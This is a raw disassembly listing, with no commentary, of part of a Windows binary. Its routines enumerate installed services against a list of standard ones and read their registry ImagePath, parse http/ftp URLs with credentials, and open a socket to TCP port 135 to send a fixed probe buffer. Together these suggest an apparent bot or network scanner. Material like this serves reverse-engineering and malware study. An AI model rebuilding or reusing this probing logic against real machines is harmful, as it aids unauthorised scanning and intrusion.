		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A82


loc_4207C6:				; CODE XREF: sub_420630+136j
		push	esi
		nop
		call	near ptr 2860000h


loc_4207CD:				; CODE XREF: sub_420630+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42073F
		pop	ebp
		pop	ebx


loc_4207E1:				; CODE XREF: sub_420630+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4207FA:				; CODE XREF: sub_420630+46j
					; sub_420630+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420630	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208A0	proc near		; CODE XREF: sub_401875j
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_4208A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4208C0	proc near		; CODE XREF: sub_401A82j
		jmp	sub_401226
sub_4208C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208E0	proc near		; CODE XREF: sub_402162j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4208E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 2920993h
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42092F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42092F:				; CODE XREF: sub_4208E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_445314
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_4452FC
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_40142E
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_511718
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420C8F
		mov	ebp, dword_511764


loc_420B6B:				; CODE XREF: sub_4208E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420B97
		lea	esi, [esp+524h+var_4E0]


loc_420B78:				; CODE XREF: sub_4208E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_420C73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420B78


loc_420B97:				; CODE XREF: sub_4208E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_40168B
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420BE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420BE3:				; CODE XREF: sub_4208E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 2900000h
		cmp	eax, ebx
		jz	short loc_420C1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420C1D:				; CODE XREF: sub_4208E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420C3A:				; CODE XREF: sub_4208E0+301j
					; sub_4208E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014D3
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420C73:				; CODE XREF: sub_4208E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420B6B
		mov	ebp, [esp+524h+var_4FC]


loc_420C8F:				; CODE XREF: sub_4208E0+27Fj
		push	ebp
		nop
		call	near ptr 2930000h
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4208E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420DD0	proc near		; CODE XREF: sub_4015F5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 28A1D26h
		push	eax
		nop
		call	near ptr 28A1106h
		mov	eax, esi
		pop	esi
		retn
sub_420DD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E00	proc near		; CODE XREF: sub_401A37j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420E39


loc_420E22:				; CODE XREF: sub_420E00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420E22
		cmp	ecx, 0
		jz	short loc_420E4A


loc_420E39:				; CODE XREF: sub_420E00+20j
					; sub_420E00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420E39


loc_420E4A:				; CODE XREF: sub_420E00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50DB24, eax
		mov	eax, offset dword_50DB24
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EC0:				; CODE XREF: ___:0040177Bj
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_511AAC
		push	esi
		call	edi	; ftell
		mov	ebp, dword_511AA4
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420F10	proc near		; CODE XREF: sub_401947j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420F10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420F3F
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420F3F:				; CODE XREF: sub_420F10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_40142E
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015E1
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420FCF:				; CODE XREF: sub_420F10+92j
					; sub_420F10+A2j
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D34
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_4453E8 ; "/"
		push	1
		jz	loc_42130C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4210C9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_4210C9:				; CODE XREF: sub_420F10+19Cj
		push	offset asc_4453E8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421195
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42117E
		mov	dword ptr [esi+54h], 50h


loc_42117E:				; CODE XREF: sub_420F10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421195
		mov	dword ptr [esi+54h], 15h


loc_421195:				; CODE XREF: sub_420F10+255j
					; sub_420F10+27Cj
		push	offset asc_4453E8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016B8
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42124E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42124E:				; CODE XREF: sub_420F10+321j
		push	offset asc_4453E8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016B8
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421433
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42130C:				; CODE XREF: sub_420F10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421393
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420F10+466j
		push	offset asc_4453E8 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421433
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42141C
		mov	dword ptr [esi+54h], 50h


loc_42141C:				; CODE XREF: sub_420F10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421433
		mov	dword ptr [esi+54h], 15h


loc_421433:				; CODE XREF: sub_420F10+3DBj
					; sub_420F10+4F3j ...
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013ED
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E47
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013ED
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013ED
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_4453E8 ; "/"
		mov	ecx, esi
		call	sub_4015E1
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016C7
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421519:				; CODE XREF: sub_420F10+2Aj
					; sub_420F10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420F10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4216D0	proc near		; CODE XREF: sub_401AFFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4216FB


loc_4216E4:				; CODE XREF: sub_4216D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421702
		inc	eax
		cmp	eax, edx
		jl	short loc_4216E4


loc_4216FB:				; CODE XREF: sub_4216D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421702:				; CODE XREF: sub_4216D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4216D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421720:				; CODE XREF: ___:004020B8j
		mov	eax, 2010h
		call	sub_437B30
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42176D
		dec	eax
		jz	short loc_421747
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421747:				; CODE XREF: ___:00421738j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402022
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42176D:				; CODE XREF: ___:00421735j
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	ebp, dword_511CA0
		push	0
		push	48h
		push	offset dword_444DB0
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4218C2
		push	0
